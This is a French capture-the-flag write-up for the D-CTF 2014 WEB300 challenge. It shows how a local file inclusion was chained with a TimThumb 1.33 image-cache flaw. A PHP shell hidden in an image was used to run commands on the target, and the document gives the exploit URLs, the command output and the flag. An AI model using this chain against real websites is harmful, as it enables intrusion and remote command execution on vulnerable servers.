==== D-CTF 2014 Qualifications : WEB300 ==== On repère une LFI : http://10.13.37.13/?page=/etc/passwd En regardant la source de la page on constate que les images sont chargées via un script PHP nommé ''tt.php''.\\ En cherchant un peu on se rend compte qu'il s'agit de ''TimThumb 1.33''.\\ Une petite recherche pour trouver un exploit : http://www.exploit-db.com/exploits/17602/\\ Mais il est dit pour ce sploitz : "Version 1.33 did not save the cache file as .php".\\ Ok on note ça et on s'en occupe après ;) On exploit donc ''TimThumb'' afin d'upload une image contenant un shell PHP.\\ Pour ce faire il faut savoir que seulement quelques domaines sont autorisés, les voici : \\ '''flickr.com','picasa.com','blogger.com','wordpress.com','img.youtube.com','upload.wikimedia.org','photobucket.com''' Je prends une image et j'y ajoute ce bout de PHP en fin de fichier : Je me crée alors un compte flickr afin d'y déposer mon image.\\ Je récupère le lien, disons http://i1376.photobucket.com/albums/ah23/dctf-test/bg_123456789.png Maintenant il faut upload cette image, ça se fait via cette URL : \\ http://10.13.37.13/tt?src=http://i1376.photobucket.com/albums/ah23/dctf-test/bg_123456789.png Le lien créé pour accéder en direct à notre image fraichement envoyée sera le suivant : http://10.13.37.13/cache/external_c16158604ce9d16fa83955d4fbd4ff39 où c16158604ce9d16fa83955d4fbd4ff39 == md5(http://i1376.photobucket.com/albums/ah23/dctf-test/bg_123456789.png) Rappelons-nous de la LFI rencontré au début, nous allons l'utiliser pour faire exécuter le PHP inséré dans l'image : http://10.13.37.13/?page=cache/external_c16158604ce9d16fa83955d4fbd4ff39&c=pwd Hop on voit bien le chemin d'accès qui s'affiche, donc notre PHP est bien exécuté. Listons le répertoire : http://10.13.37.13/?page=cache/external_c16158604ce9d16fa83955d4fbd4ff39&c=ls -alh nous donne : drwxr-xr-x 6 root root 4.0K Oct 12 12:36 . drwxr-xr-x 3 root root 4.0K Oct 12 12:35 .. -rw-r--r-- 1 root root 12 Oct 12 12:09 575b3f3f5318b2afbfe91ed860a4b10c.txt drwxrwxrwx 2 root root 60K Oct 18 19:17 cache -rw-r--r-- 1 root root 2.7K Oct 12 12:08 contact.html drwxr-xr-x 2 root root 4.0K Aug 29 12:19 css -rw-r--r-- 1 root root 2.9K Oct 12 12:04 home.html drwxr-xr-x 2 root root 4.0K Aug 29 12:19 images -rw-r--r-- 1 root root 180 Oct 12 12:03 index.php drwxr-xr-x 2 root root 4.0K Aug 29 12:19 js -rw-r--r-- 1 root root 21K Jul 31 2011 tt.php Tiens tiens, regardons ce qui se trouve dans le fichier ''575b3f3f5318b2afbfe91ed860a4b10c.txt'' : http://10.13.37.13/?page=cache/external_c16158604ce9d16fa83955d4fbd4ff39&c=cat 575b3f3f5318b2afbfe91ed860a4b10c.txt nous donne : johnnybravo Voilà, le flag est ''johnnybravo''. ---- Par **Krach** //(contact{at}krach{dot}me)// ----